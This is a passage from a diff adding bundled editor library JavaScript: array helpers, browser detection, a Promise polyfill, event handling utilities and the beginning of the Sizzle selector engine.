+  var each = function (xs, f) {
+    for (var i = 0, len = xs.length; i < len; i++) {
+      var x = xs[i];
+      f(x, i, xs);
+    }
+  };
+  var eachr = function (xs, f) {
+    for (var i = xs.length - 1; i >= 0; i--) {
+      var x = xs[i];
+      f(x, i, xs);
+    }
+  };
+  var partition = function (xs, pred) {
+    var pass = [];
+    var fail = [];
+    for (var i = 0, len = xs.length; i < len; i++) {
+      var x = xs[i];
+      var arr = pred(x, i, xs) ? pass : fail;
+      arr.push(x);
+    }
+    return {
+      pass: pass,
+      fail: fail
+    };
+  };
+  var filter = function (xs, pred) {
+    var r = [];
+    for (var i = 0, len = xs.length; i < len; i++) {
+      var x = xs[i];
+      if (pred(x, i, xs)) {
+        r.push(x);
+      }
+    }
+    return r;
+  };
+
+  var foldr = function (xs, f, acc) {
+    eachr(xs, function (x) {
+      acc = f(acc, x);
+    });
+    return acc;
+  };
+  var foldl = function (xs, f, acc) {
+    each(xs, function (x) {
+      acc = f(acc, x);
+    });
+    return acc;
+  };
+  var find = function (xs, pred) {
+    for (var i = 0, len = xs.length; i < len; i++) {
+      var x = xs[i];
+      if (pred(x, i, xs)) {
+        return Option.some(x);
+      }
+    }
+    return Option.none();
+  };
+  var findIndex = function (xs, pred) {
+    for (var i = 0, len = xs.length; i < len; i++) {
+      var x = xs[i];
+      if (pred(x, i, xs)) {
+        return Option.some(i);
+      }
+    }
+    return Option.none();
+  };
+  var slowIndexOf = function (xs, x) {
+    for (var i = 0, len = xs.length; i < len; ++i) {
+      if (xs[i] === x) {
+        return i;
+      }
+    }
+    return -1;
+  };
+  var push = Array.prototype.push;
+  var flatten = function (xs) {
+    var r = [];
+    for (var i = 0, len = xs.length; i < len; ++i) {
+      if (!Array.prototype.isPrototypeOf(xs[i]))
+        throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs);
+      push.apply(r, xs[i]);
+    }
+    return r;
+  };
+  var bind = function (xs, f) {
+    var output = map(xs, f);
+    return flatten(output);
+  };
+  var forall = function (xs, pred) {
+    for (var i = 0, len = xs.length; i < len; ++i) {
+      var x = xs[i];
+      if (pred(x, i, xs) !== true) {
+        return false;
+      }
+    }
+    return true;
+  };
+
+  var slice = Array.prototype.slice;
+  var reverse = function (xs) {
+    var r = slice.call(xs, 0);
+    r.reverse();
+    return r;
+  };
+  var difference = function (a1, a2) {
+    return filter(a1, function (x) {
+      return !contains(a2, x);
+    });
+  };
+  var mapToObject = function (xs, f) {
+    var r = {};
+    for (var i = 0, len = xs.length; i < len; i++) {
+      var x = xs[i];
+      r[String(x)] = f(x, i);
+    }
+    return r;
+  };
+
+  var sort = function (xs, comparator) {
+    var copy = slice.call(xs, 0);
+    copy.sort(comparator);
+    return copy;
+  };
+  var head = function (xs) {
+    return xs.length === 0 ? Option.none() : Option.some(xs[0]);
+  };
+  var last = function (xs) {
+    return xs.length === 0 ? Option.none() : Option.some(xs[xs.length - 1]);
+  };
+  var from$1 = isFunction(Array.from) ? Array.from : function (x) {
+    return slice.call(x);
+  };
+
+  var Global = typeof window !== 'undefined' ? window : Function('return this;')();
+
+  var path = function (parts, scope) {
+    var o = scope !== undefined && scope !== null ? scope : Global;
+    for (var i = 0; i < parts.length && o !== undefined && o !== null; ++i)
+      o = o[parts[i]];
+    return o;
+  };
+  var resolve = function (p, scope) {
+    var parts = p.split('.');
+    return path(parts, scope);
+  };
+
+  var unsafe = function (name, scope) {
+    return resolve(name, scope);
+  };
+  var getOrDie = function (name, scope) {
+    var actual = unsafe(name, scope);
+    if (actual === undefined || actual === null)
+      throw name + ' not available on this browser';
+    return actual;
+  };
+  var $_6xhbl4cjjgwe7a3 = { getOrDie: getOrDie };
+
+  var url = function () {
+    return $_6xhbl4cjjgwe7a3.getOrDie('URL');
+  };
+  var createObjectURL = function (blob) {
+    return url().createObjectURL(blob);
+  };
+  var revokeObjectURL = function (u) {
+    url().revokeObjectURL(u);
+  };
+  var $_r9uyubjjgwe7a2 = {
+    createObjectURL: createObjectURL,
+    revokeObjectURL: revokeObjectURL
+  };
+
+  var nav = navigator;
+  var userAgent = nav.userAgent;
+  var opera;
+  var webkit;
+  var ie;
+  var ie11;
+  var ie12;
+  var gecko;
+  var mac;
+  var iDevice;
+  var android;
+  var fileApi;
+  var phone;
+  var tablet;
+  var windowsPhone;
+  var matchMediaQuery = function (query) {
+    return 'matchMedia' in window ? matchMedia(query).matches : false;
+  };
+  opera = false;
+  android = /Android/.test(userAgent);
+  webkit = /WebKit/.test(userAgent);
+  ie = !webkit && !opera && /MSIE/gi.test(userAgent) && /Explorer/gi.test(nav.appName);
+  ie = ie && /MSIE (\w+)\./.exec(userAgent)[1];
+  ie11 = userAgent.indexOf('Trident/') !== -1 && (userAgent.indexOf('rv:') !== -1 || nav.appName.indexOf('Netscape') !== -1) ? 11 : false;
+  ie12 = userAgent.indexOf('Edge/') !== -1 && !ie && !ie11 ? 12 : false;
+  ie = ie || ie11 || ie12;
+  gecko = !webkit && !ie11 && /Gecko/.test(userAgent);
+  mac = userAgent.indexOf('Mac') !== -1;
+  iDevice = /(iPad|iPhone)/.test(userAgent);
+  fileApi = 'FormData' in window && 'FileReader' in window && 'URL' in window && !!$_r9uyubjjgwe7a2.createObjectURL;
+  phone = matchMediaQuery('only screen and (max-device-width: 480px)') && (android || iDevice);
+  tablet = matchMediaQuery('only screen and (min-width: 800px)') && (android || iDevice);
+  windowsPhone = userAgent.indexOf('Windows Phone') !== -1;
+  if (ie12) {
+    webkit = false;
+  }
+  var contentEditable = !iDevice || fileApi || parseInt(userAgent.match(/AppleWebKit\/(\d*)/)[1], 10) >= 534;
+  var $_bcvfv9ajjgwe79v = {
+    opera: opera,
+    webkit: webkit,
+    ie: ie,
+    gecko: gecko,
+    mac: mac,
+    iOS: iDevice,
+    android: android,
+    contentEditable: contentEditable,
+    transparentSrc: 'data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7',
+    caretAfter: ie !== 8,
+    range: window.getSelection && 'Range' in window,
+    documentMode: ie && !ie12 ? document.documentMode || 7 : 10,
+    fileApi: fileApi,
+    ceFalse: ie === false || ie > 8,
+    cacheSuffix: null,
+    container: null,
+    overrideViewPort: null,
+    experimentalShadowDom: false,
+    canHaveCSP: ie === false || ie > 11,
+    desktop: !phone && !tablet,
+    windowsPhone: windowsPhone
+  };
+
+  var promise = function () {
+    function bind(fn, thisArg) {
+      return function () {
+        fn.apply(thisArg, arguments);
+      };
+    }
+    var isArray = Array.isArray || function (value) {
+      return Object.prototype.toString.call(value) === '[object Array]';
+    };
+    var Promise = function (fn) {
+      if (typeof this !== 'object') {
+        throw new TypeError('Promises must be constructed via new');
+      }
+      if (typeof fn !== 'function') {
+        throw new TypeError('not a function');
+      }
+      this._state = null;
+      this._value = null;
+      this._deferreds = [];
+      doResolve(fn, bind(resolve, this), bind(reject, this));
+    };
+    var asap = Promise.immediateFn || typeof setImmediate === 'function' && setImmediate || function (fn) {
+      setTimeout(fn, 1);
+    };
+    function handle(deferred) {
+      var me = this;
+      if (this._state === null) {
+        this._deferreds.push(deferred);
+        return;
+      }
+      asap(function () {
+        var cb = me._state ? deferred.onFulfilled : deferred.onRejected;
+        if (cb === null) {
+          (me._state ? deferred.resolve : deferred.reject)(me._value);
+          return;
+        }
+        var ret;
+        try {
+          ret = cb(me._value);
+        } catch (e) {
+          deferred.reject(e);
+          return;
+        }
+        deferred.resolve(ret);
+      });
+    }
+    function resolve(newValue) {
+      try {
+        if (newValue === this) {
+          throw new TypeError('A promise cannot be resolved with itself.');
+        }
+        if (newValue && (typeof newValue === 'object' || typeof newValue === 'function')) {
+          var then = newValue.then;
+          if (typeof then === 'function') {
+            doResolve(bind(then, newValue), bind(resolve, this), bind(reject, this));
+            return;
+          }
+        }
+        this._state = true;
+        this._value = newValue;
+        finale.call(this);
+      } catch (e) {
+        reject.call(this, e);
+      }
+    }
+    function reject(newValue) {
+      this._state = false;
+      this._value = newValue;
+      finale.call(this);
+    }
+    function finale() {
+      for (var i = 0, len = this._deferreds.length; i < len; i++) {
+        handle.call(this, this._deferreds[i]);
+      }
+      this._deferreds = null;
+    }
+    function Handler(onFulfilled, onRejected, resolve, reject) {
+      this.onFulfilled = typeof onFulfilled === 'function' ? onFulfilled : null;
+      this.onRejected = typeof onRejected === 'function' ? onRejected : null;
+      this.resolve = resolve;
+      this.reject = reject;
+    }
+    function doResolve(fn, onFulfilled, onRejected) {
+      var done = false;
+      try {
+        fn(function (value) {
+          if (done) {
+            return;
+          }
+          done = true;
+          onFulfilled(value);
+        }, function (reason) {
+          if (done) {
+            return;
+          }
+          done = true;
+          onRejected(reason);
+        });
+      } catch (ex) {
+        if (done) {
+          return;
+        }
+        done = true;
+        onRejected(ex);
+      }
+    }
+    Promise.prototype.catch = function (onRejected) {
+      return this.then(null, onRejected);
+    };
+    Promise.prototype.then = function (onFulfilled, onRejected) {
+      var me = this;
+      return new Promise(function (resolve, reject) {
+        handle.call(me, new Handler(onFulfilled, onRejected, resolve, reject));
+      });
+    };
+    Promise.all = function () {
+      var args = Array.prototype.slice.call(arguments.length === 1 && isArray(arguments[0]) ? arguments[0] : arguments);
+      return new Promise(function (resolve, reject) {
+        if (args.length === 0) {
+          return resolve([]);
+        }
+        var remaining = args.length;
+        function res(i, val) {
+          try {
+            if (val && (typeof val === 'object' || typeof val === 'function')) {
+              var then = val.then;
+              if (typeof then === 'function') {
+                then.call(val, function (val) {
+                  res(i, val);
+                }, reject);
+                return;
+              }
+            }
+            args[i] = val;
+            if (--remaining === 0) {
+              resolve(args);
+            }
+          } catch (ex) {
+            reject(ex);
+          }
+        }
+        for (var i = 0; i < args.length; i++) {
+          res(i, args[i]);
+        }
+      });
+    };
+    Promise.resolve = function (value) {
+      if (value && typeof value === 'object' && value.constructor === Promise) {
+        return value;
+      }
+      return new Promise(function (resolve) {
+        resolve(value);
+      });
+    };
+    Promise.reject = function (value) {
+      return new Promise(function (resolve, reject) {
+        reject(value);
+      });
+    };
+    Promise.race = function (values) {
+      return new Promise(function (resolve, reject) {
+        for (var i = 0, len = values.length; i < len; i++) {
+          values[i].then(resolve, reject);
+        }
+      });
+    };
+    return Promise;
+  };
+  var promiseObj = window.Promise ? window.Promise : promise();
+
+  var requestAnimationFramePromise;
+  var requestAnimationFrame$$1 = function (callback, element) {
+    var i, requestAnimationFrameFunc = window.requestAnimationFrame;
+    var vendors = [
+      'ms',
+      'moz',
+      'webkit'
+    ];
+    var featurefill = function (callback) {
+      window.setTimeout(callback, 0);
+    };
+    for (i = 0; i < vendors.length && !requestAnimationFrameFunc; i++) {
+      requestAnimationFrameFunc = window[vendors[i] + 'RequestAnimationFrame'];
+    }
+    if (!requestAnimationFrameFunc) {
+      requestAnimationFrameFunc = featurefill;
+    }
+    requestAnimationFrameFunc(callback, element);
+  };
+  var wrappedSetTimeout = function (callback, time) {
+    if (typeof time !== 'number') {
+      time = 0;
+    }
+    return setTimeout(callback, time);
+  };
+  var wrappedSetInterval = function (callback, time) {
+    if (typeof time !== 'number') {
+      time = 1;
+    }
+    return setInterval(callback, time);
+  };
+  var wrappedClearTimeout = function (id) {
+    return clearTimeout(id);
+  };
+  var wrappedClearInterval = function (id) {
+    return clearInterval(id);
+  };
+  var debounce = function (callback, time) {
+    var timer, func;
+    func = function () {
+      var args = arguments;
+      clearTimeout(timer);
+      timer = wrappedSetTimeout(function () {
+        callback.apply(this, args);
+      }, time);
+    };
+    func.stop = function () {
+      clearTimeout(timer);
+    };
+    return func;
+  };
+  var $_9o1ijaijjgwe7dm = {
+    requestAnimationFrame: function (callback, element) {
+      if (requestAnimationFramePromise) {
+        requestAnimationFramePromise.then(callback);
+        return;
+      }
+      requestAnimationFramePromise = new promiseObj(function (resolve) {
+        if (!element) {
+          element = document.body;
+        }
+        requestAnimationFrame$$1(resolve, element);
+      }).then(callback);
+    },
+    setTimeout: wrappedSetTimeout,
+    setInterval: wrappedSetInterval,
+    setEditorTimeout: function (editor, callback, time) {
+      return wrappedSetTimeout(function () {
+        if (!editor.removed) {
+          callback();
+        }
+      }, time);
+    },
+    setEditorInterval: function (editor, callback, time) {
+      var timer;
+      timer = wrappedSetInterval(function () {
+        if (!editor.removed) {
+          callback();
+        } else {
+          clearInterval(timer);
+        }
+      }, time);
+      return timer;
+    },
+    debounce: debounce,
+    throttle: debounce,
+    clearInterval: wrappedClearInterval,
+    clearTimeout: wrappedClearTimeout
+  };
+
+  var eventExpandoPrefix = 'mce-data-';
+  var mouseEventRe = /^(?:mouse|contextmenu)|click/;
+  var deprecated = {
+    keyLocation: 1,
+    layerX: 1,
+    layerY: 1,
+    returnValue: 1,
+    webkitMovementX: 1,
+    webkitMovementY: 1,
+    keyIdentifier: 1
+  };
+  var hasIsDefaultPrevented = function (event$$1) {
+    return event$$1.isDefaultPrevented === returnTrue || event$$1.isDefaultPrevented === returnFalse;
+  };
+  var returnFalse = function () {
+    return false;
+  };
+  var returnTrue = function () {
+    return true;
+  };
+  var addEvent = function (target, name$$1, callback, capture) {
+    if (target.addEventListener) {
+      target.addEventListener(name$$1, callback, capture || false);
+    } else if (target.attachEvent) {
+      target.attachEvent('on' + name$$1, callback);
+    }
+  };
+  var removeEvent = function (target, name$$1, callback, capture) {
+    if (target.removeEventListener) {
+      target.removeEventListener(name$$1, callback, capture || false);
+    } else if (target.detachEvent) {
+      target.detachEvent('on' + name$$1, callback);
+    }
+  };
+  var getTargetFromShadowDom = function (event$$1, defaultTarget) {
+    var path, target = defaultTarget;
+    path = event$$1.path;
+    if (path && path.length > 0) {
+      target = path[0];
+    }
+    if (event$$1.composedPath) {
+      path = event$$1.composedPath();
+      if (path && path.length > 0) {
+        target = path[0];
+      }
+    }
+    return target;
+  };
+  var fix = function (originalEvent, data) {
+    var name$$1;
+    var event$$1 = data || {};
+    for (name$$1 in originalEvent) {
+      if (!deprecated[name$$1]) {
+        event$$1[name$$1] = originalEvent[name$$1];
+      }
+    }
+    if (!event$$1.target) {
+      event$$1.target = event$$1.srcElement || document;
+    }
+    if ($_bcvfv9ajjgwe79v.experimentalShadowDom) {
+      event$$1.target = getTargetFromShadowDom(originalEvent, event$$1.target);
+    }
+    if (originalEvent && mouseEventRe.test(originalEvent.type) && originalEvent.pageX === undefined && originalEvent.clientX !== undefined) {
+      var eventDoc = event$$1.target.ownerDocument || document;
+      var doc = eventDoc.documentElement;
+      var body = eventDoc.body;
+      event$$1.pageX = originalEvent.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0);
+      event$$1.pageY = originalEvent.clientY + (doc && doc.scrollTop || body && body.scrollTop || 0) - (doc && doc.clientTop || body && body.clientTop || 0);
+    }
+    event$$1.preventDefault = function () {
+      event$$1.isDefaultPrevented = returnTrue;
+      if (originalEvent) {
+        if (originalEvent.preventDefault) {
+          originalEvent.preventDefault();
+        } else {
+          originalEvent.returnValue = false;
+        }
+      }
+    };
+    event$$1.stopPropagation = function () {
+      event$$1.isPropagationStopped = returnTrue;
+      if (originalEvent) {
+        if (originalEvent.stopPropagation) {
+          originalEvent.stopPropagation();
+        } else {
+          originalEvent.cancelBubble = true;
+        }
+      }
+    };
+    event$$1.stopImmediatePropagation = function () {
+      event$$1.isImmediatePropagationStopped = returnTrue;
+      event$$1.stopPropagation();
+    };
+    if (hasIsDefaultPrevented(event$$1) === false) {
+      event$$1.isDefaultPrevented = returnFalse;
+      event$$1.isPropagationStopped = returnFalse;
+      event$$1.isImmediatePropagationStopped = returnFalse;
+    }
+    if (typeof event$$1.metaKey === 'undefined') {
+      event$$1.metaKey = false;
+    }
+    return event$$1;
+  };
+  var bindOnReady = function (win, callback, eventUtils) {
+    var doc = win.document, event$$1 = { type: 'ready' };
+    if (eventUtils.domLoaded) {
+      callback(event$$1);
+      return;
+    }
+    var isDocReady = function () {
+      return doc.readyState === 'complete' || doc.readyState === 'interactive' && doc.body;
+    };
+    var readyHandler = function () {
+      if (!eventUtils.domLoaded) {
+        eventUtils.domLoaded = true;
+        callback(event$$1);
+      }
+    };
+    var waitForDomLoaded = function () {
+      if (isDocReady()) {
+        removeEvent(doc, 'readystatechange', waitForDomLoaded);
+        readyHandler();
+      }
+    };
+    var tryScroll = function () {
+      try {
+        doc.documentElement.doScroll('left');
+      } catch (ex) {
+        $_9o1ijaijjgwe7dm.setTimeout(tryScroll);
+        return;
+      }
+      readyHandler();
+    };
+    if (doc.addEventListener && !($_bcvfv9ajjgwe79v.ie && $_bcvfv9ajjgwe79v.ie < 11)) {
+      if (isDocReady()) {
+        readyHandler();
+      } else {
+        addEvent(win, 'DOMContentLoaded', readyHandler);
+      }
+    } else {
+      addEvent(doc, 'readystatechange', waitForDomLoaded);
+      if (doc.documentElement.doScroll && win.self === win.top) {
+        tryScroll();
+      }
+    }
+    addEvent(win, 'load', readyHandler);
+  };
+  var EventUtils = function () {
+    var self$$1 = this;
+    var events = {}, count, expando, hasFocusIn, hasMouseEnterLeave, mouseEnterLeave;
+    expando = eventExpandoPrefix + (+new Date()).toString(32);
+    hasMouseEnterLeave = 'onmouseenter' in document.documentElement;
+    hasFocusIn = 'onfocusin' in document.documentElement;
+    mouseEnterLeave = {
+      mouseenter: 'mouseover',
+      mouseleave: 'mouseout'
+    };
+    count = 1;
+    self$$1.domLoaded = false;
+    self$$1.events = events;
+    var executeHandlers = function (evt, id) {
+      var callbackList, i, l, callback;
+      var container = events[id];
+      callbackList = container && container[evt.type];
+      if (callbackList) {
+        for (i = 0, l = callbackList.length; i < l; i++) {
+          callback = callbackList[i];
+          if (callback && callback.func.call(callback.scope, evt) === false) {
+            evt.preventDefault();
+          }
+          if (evt.isImmediatePropagationStopped()) {
+            return;
+          }
+        }
+      }
+    };
+    self$$1.bind = function (target, names, callback, scope) {
+      var id, callbackList, i, name$$1, fakeName, nativeHandler, capture;
+      var win = window;
+      var defaultNativeHandler = function (evt) {
+        executeHandlers(fix(evt || win.event), id);
+      };
+      if (!target || target.nodeType === 3 || target.nodeType === 8) {
+        return;
+      }
+      if (!target[expando]) {
+        id = count++;
+        target[expando] = id;
+        events[id] = {};
+      } else {
+        id = target[expando];
+      }
+      scope = scope || target;
+      names = names.split(' ');
+      i = names.length;
+      while (i--) {
+        name$$1 = names[i];
+        nativeHandler = defaultNativeHandler;
+        fakeName = capture = false;
+        if (name$$1 === 'DOMContentLoaded') {
+          name$$1 = 'ready';
+        }
+        if (self$$1.domLoaded && name$$1 === 'ready' && target.readyState === 'complete') {
+          callback.call(scope, fix({ type: name$$1 }));
+          continue;
+        }
+        if (!hasMouseEnterLeave) {
+          fakeName = mouseEnterLeave[name$$1];
+          if (fakeName) {
+            nativeHandler = function (evt) {
+              var current, related;
+              current = evt.currentTarget;
+              related = evt.relatedTarget;
+              if (related && current.contains) {
+                related = current.contains(related);
+              } else {
+                while (related && related !== current) {
+                  related = related.parentNode;
+                }
+              }
+              if (!related) {
+                evt = fix(evt || win.event);
+                evt.type = evt.type === 'mouseout' ? 'mouseleave' : 'mouseenter';
+                evt.target = current;
+                executeHandlers(evt, id);
+              }
+            };
+          }
+        }
+        if (!hasFocusIn && (name$$1 === 'focusin' || name$$1 === 'focusout')) {
+          capture = true;
+          fakeName = name$$1 === 'focusin' ? 'focus' : 'blur';
+          nativeHandler = function (evt) {
+            evt = fix(evt || win.event);
+            evt.type = evt.type === 'focus' ? 'focusin' : 'focusout';
+            executeHandlers(evt, id);
+          };
+        }
+        callbackList = events[id][name$$1];
+        if (!callbackList) {
+          events[id][name$$1] = callbackList = [{
+              func: callback,
+              scope: scope
+            }];
+          callbackList.fakeName = fakeName;
+          callbackList.capture = capture;
+          callbackList.nativeHandler = nativeHandler;
+          if (name$$1 === 'ready') {
+            bindOnReady(target, nativeHandler, self$$1);
+          } else {
+            addEvent(target, fakeName || name$$1, nativeHandler, capture);
+          }
+        } else {
+          if (name$$1 === 'ready' && self$$1.domLoaded) {
+            callback({ type: name$$1 });
+          } else {
+            callbackList.push({
+              func: callback,
+              scope: scope
+            });
+          }
+        }
+      }
+      target = callbackList = 0;
+      return callback;
+    };
+    self$$1.unbind = function (target, names, callback) {
+      var id, callbackList, i, ci, name$$1, eventMap;
+      if (!target || target.nodeType === 3 || target.nodeType === 8) {
+        return self$$1;
+      }
+      id = target[expando];
+      if (id) {
+        eventMap = events[id];
+        if (names) {
+          names = names.split(' ');
+          i = names.length;
+          while (i--) {
+            name$$1 = names[i];
+            callbackList = eventMap[name$$1];
+            if (callbackList) {
+              if (callback) {
+                ci = callbackList.length;
+                while (ci--) {
+                  if (callbackList[ci].func === callback) {
+                    var nativeHandler = callbackList.nativeHandler;
+                    var fakeName = callbackList.fakeName, capture = callbackList.capture;
+                    callbackList = callbackList.slice(0, ci).concat(callbackList.slice(ci + 1));
+                    callbackList.nativeHandler = nativeHandler;
+                    callbackList.fakeName = fakeName;
+                    callbackList.capture = capture;
+                    eventMap[name$$1] = callbackList;
+                  }
+                }
+              }
+              if (!callback || callbackList.length === 0) {
+                delete eventMap[name$$1];
+                removeEvent(target, callbackList.fakeName || name$$1, callbackList.nativeHandler, callbackList.capture);
+              }
+            }
+          }
+        } else {
+          for (name$$1 in eventMap) {
+            callbackList = eventMap[name$$1];
+            removeEvent(target, callbackList.fakeName || name$$1, callbackList.nativeHandler, callbackList.capture);
+          }
+          eventMap = {};
+        }
+        for (name$$1 in eventMap) {
+          return self$$1;
+        }
+        delete events[id];
+        try {
+          delete target[expando];
+        } catch (ex) {
+          target[expando] = null;
+        }
+      }
+      return self$$1;
+    };
+    self$$1.fire = function (target, name$$1, args) {
+      var id;
+      if (!target || target.nodeType === 3 || target.nodeType === 8) {
+        return self$$1;
+      }
+      args = fix(null, args);
+      args.type = name$$1;
+      args.target = target;
+      do {
+        id = target[expando];
+        if (id) {
+          executeHandlers(args, id);
+        }
+        target = target.parentNode || target.ownerDocument || target.defaultView || target.parentWindow;
+      } while (target && !args.isPropagationStopped());
+      return self$$1;
+    };
+    self$$1.clean = function (target) {
+      var i, children;
+      var unbind = self$$1.unbind;
+      if (!target || target.nodeType === 3 || target.nodeType === 8) {
+        return self$$1;
+      }
+      if (target[expando]) {
+        unbind(target);
+      }
+      if (!target.getElementsByTagName) {
+        target = target.document;
+      }
+      if (target && target.getElementsByTagName) {
+        unbind(target);
+        children = target.getElementsByTagName('*');
+        i = children.length;
+        while (i--) {
+          target = children[i];
+          if (target[expando]) {
+            unbind(target);
+          }
+        }
+      }
+      return self$$1;
+    };
+    self$$1.destroy = function () {
+      events = {};
+    };
+    self$$1.cancel = function (e) {
+      if (e) {
+        e.preventDefault();
+        e.stopImmediatePropagation();
+      }
+      return false;
+    };
+  };
+  EventUtils.Event = new EventUtils();
+  EventUtils.Event.bind(window, 'ready', function () {
+  });
+
+  var i;
+  var support;
+  var Expr;
+  var getText;
+  var isXML;
+  var tokenize;
+  var compile;
+  var select;
+  var outermostContext;
+  var sortInput;
+  var hasDuplicate;
+  var setDocument;
+  var document$1;
+  var docElem;
+  var documentIsHTML;
+  var rbuggyQSA;
+  var rbuggyMatches;
+  var matches;
+  var contains$1;
+  var expando = 'sizzle' + -new Date();
+  var preferredDoc = window.document;
+  var dirruns = 0;
+  var done = 0;
+  var classCache = createCache();
+  var tokenCache = createCache();
+  var compilerCache = createCache();
+  var sortOrder = function (a, b) {
+      if (a === b) {
+        hasDuplicate = true;
+      }
+      return 0;
+    };
+  var strundefined = typeof undefined;
+  var MAX_NEGATIVE = 1 << 31;
+  var hasOwn = {}.hasOwnProperty;
+  var arr = [];
+  var pop = arr.pop;
+  var push_native = arr.push;
+  var push$1 = arr.push;
+  var slice$1 = arr.slice;
+  var indexOf$1 = arr.indexOf || function (elem) {
+      var i = 0, len = this.length;
+      for (; i < len; i++) {
+        if (this[i] === elem) {
+          return i;
+        }
+      }
+      return -1;
+    };
+  var booleans = 'checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped';
+  var whitespace = '[\\x20\\t\\r\\n\\f]';
+  var identifier = '(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+';
+  var attributes = '\\[' + whitespace + '*(' + identifier + ')(?:' + whitespace + '*([*^$|!~]?=)' + whitespace + '*(?:\'((?:\\\\.|[^\\\\\'])*)\'|"((?:\\\\.|[^\\\\"])*)"|(' + identifier + '))|)' + whitespace + '*\\]';
+  var pseudos = ':(' + identifier + ')(?:\\((' + '(\'((?:\\\\.|[^\\\\\'])*)\'|"((?:\\\\.|[^\\\\"])*)")|' + '((?:\\\\.|[^\\\\()[\\]]|' + attributes + ')*)|' + '.*' + ')\\)|)';
+  var rtrim = new RegExp('^' + whitespace + '+|((?:^|[^\\\\])(?:\\\\.)*)' + whitespace + '+$', 'g');
+  var rcomma = new RegExp('^' + whitespace + '*,' + whitespace + '*');
+  var rcombinators = new RegExp('^' + whitespace + '*([>+~]|' + whitespace + ')' + whitespace + '*');
+  var rattributeQuotes = new RegExp('=' + whitespace + '*([^\\]\'"]*?)' + whitespace + '*\\]', 'g');
+  var rpseudo = new RegExp(pseudos);
+  var ridentifier = new RegExp('^' + identifier + '$');
+  var matchExpr = {
+      ID: new RegExp('^#(' + identifier + ')'),
+      CLASS: new RegExp('^\\.(' + identifier + ')'),
+      TAG: new RegExp('^(' + identifier + '|[*])'),
+      ATTR: new RegExp('^' + attributes),
+      PSEUDO: new RegExp('^' + pseudos),
+      CHILD: new RegExp('^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(' + whitespace + '*(even|odd|(([+-]|)(\\d*)n|)' + whitespace + '*(?:([+-]|)' + whitespace + '*(\\d+)|))' + whitespace + '*\\)|)', 'i'),
+      bool: new RegExp('^(?:' + booleans + ')$', 'i'),
+      needsContext: new RegExp('^' + whitespace + '*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(' + whitespace + '*((?:-\\d)?\\d*)' + whitespace + '*\\)|)(?=[^-]|$)', 'i')
+    };
+  var rinputs = /^(?:input|select|textarea|button)$/i;
+  var rheader = /^h\d$/i;
+  var rnative = /^[^{]+\{\s*\[native \w/;
+  var rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/;
+  var rsibling = /[+~]/;
+  var rescape = /'|\\/g;
+  var runescape = new RegExp('\\\\([\\da-f]{1,6}' + whitespace + '?|(' + whitespace + ')|.)', 'ig');
+  var funescape = function (_, escaped, escapedWhitespace) {
+      var high = '0x' + escaped - 65536;
+      return high !== high || escapedWhitespace ? escaped : high < 0 ? String.fromCharCode(high + 65536) : String.fromCharCode(high >> 10 | 55296, high & 1023 | 56320);
+    };
+  try {
+    push$1.apply(arr = slice$1.call(preferredDoc.childNodes), preferredDoc.childNodes);
+    arr[preferredDoc.childNodes.length].nodeType;
+  } catch (e) {
+    push$1 = {
+      apply: arr.length ? function (target, els) {
+        push_native.apply(target, slice$1.call(els));
+      } : function (target, els) {
+        var j = target.length, i = 0;
+        while (target[j++] = els[i++]) {
+        }
+        target.length = j - 1;
+      }
+    };
+  }
+  var Sizzle = function (selector, context, results, seed) {
+    var match, elem, m, nodeType, i, groups, old, nid, newContext, newSelector;
+    if ((context ? context.ownerDocument || context : preferredDoc) !== document$1) {
+      setDocument(context);
+    }
+    context = context || document$1;
+    results = results || [];
+    if (!selector || typeof selector !== 'string') {
+      return results;
+    }
+    if ((nodeType = context.nodeType) !== 1 && nodeType !== 9) {
+      return [];
+    }
+    if (documentIsHTML && !seed) {
+      if (match = rquickExpr.exec(selector)) {
+        if (m = match[1]) {
+          if (nodeType === 9) {
+            elem = context.getElementById(m);
+            if (elem && elem.parentNode) {
+              if (elem.id === m) {
+                results.push(elem);
+                return results;
+              }
+            } else {
+              return results;
+            }
+          } else {
+            if (context.ownerDocument && (elem = context.ownerDocument.getElementById(m)) && contains$1(context, elem) && elem.id === m) {
+              results.push(elem);
+              return results;
+            }
+          }
+        } else if (match[2]) {
+          push$1.apply(results, context.getElementsByTagName(selector));
+          return results;
+        } else if ((m = match[3]) && support.getElementsByClassName) {
+          push$1.apply(results, context.getElementsByClassName(m));
+          return results;
+        }
+      }
+      if (support.qsa && (!rbuggyQSA || !rbuggyQSA.test(selector))) {
+        nid = old = expando;
+        newContext = context;
+        newSelector = nodeType === 9 && selector;
+        if (nodeType === 1 && context.nodeName.toLowerCase() !== 'object') {
+          groups = tokenize(selector);
+          if (old = context.getAttribute('id')) {
+            nid = old.replace(rescape, '\\$&');
+          } else {
+            context.setAttribute('id', nid);
+          }
+          nid = '[id=\'' + nid + '\'] ';
+          i = groups.length;
+          while (i--) {
+            groups[i] = nid + toSelector(groups[i]);
+          }
+          newContext = rsibling.test(selector) && testContext(context.parentNode) || context;
+          newSelector = groups.join(',');
+        }
+        if (newSelector) {
+          try {
+            push$1.apply(results, newContext.querySelectorAll(newSelector));
+            return results;
+          } catch (qsaError) {
+          } finally {
+            if (!old) {
+              context.removeAttribute('id');
+            }
+          }
+        }
+      }
+    }
+    return select(selector.replace(rtrim, '$1'), context, results, seed);
+  };
+  function createCache() {
+    var keys = [];
+    function cache(key, value) {
+      if (keys.push(key + ' ') > Expr.cacheLength) {
+        delete cache[keys.shift()];
+      }
+      return cache[key + ' '] = value;
+    }
+    return cache;
+  }
+  function markFunction(fn) {
+    fn[expando] = true;
+    return fn;
+  }
+  function siblingCheck(a, b) {
+    var cur = b && a, diff = cur && a.nodeType === 1 && b.nodeType === 1 && (~b.sourceIndex || MAX_NEGATIVE) - (~a.sourceIndex || MAX_NEGATIVE);
+    if (diff) {
+      return diff;
+    }
+    if (cur) {
+      while (cur = cur.nextSibling) {
+        if (cur === b) {
+          return -1;
+        }
+      }
+    }
+    return a ? 1 : -1;
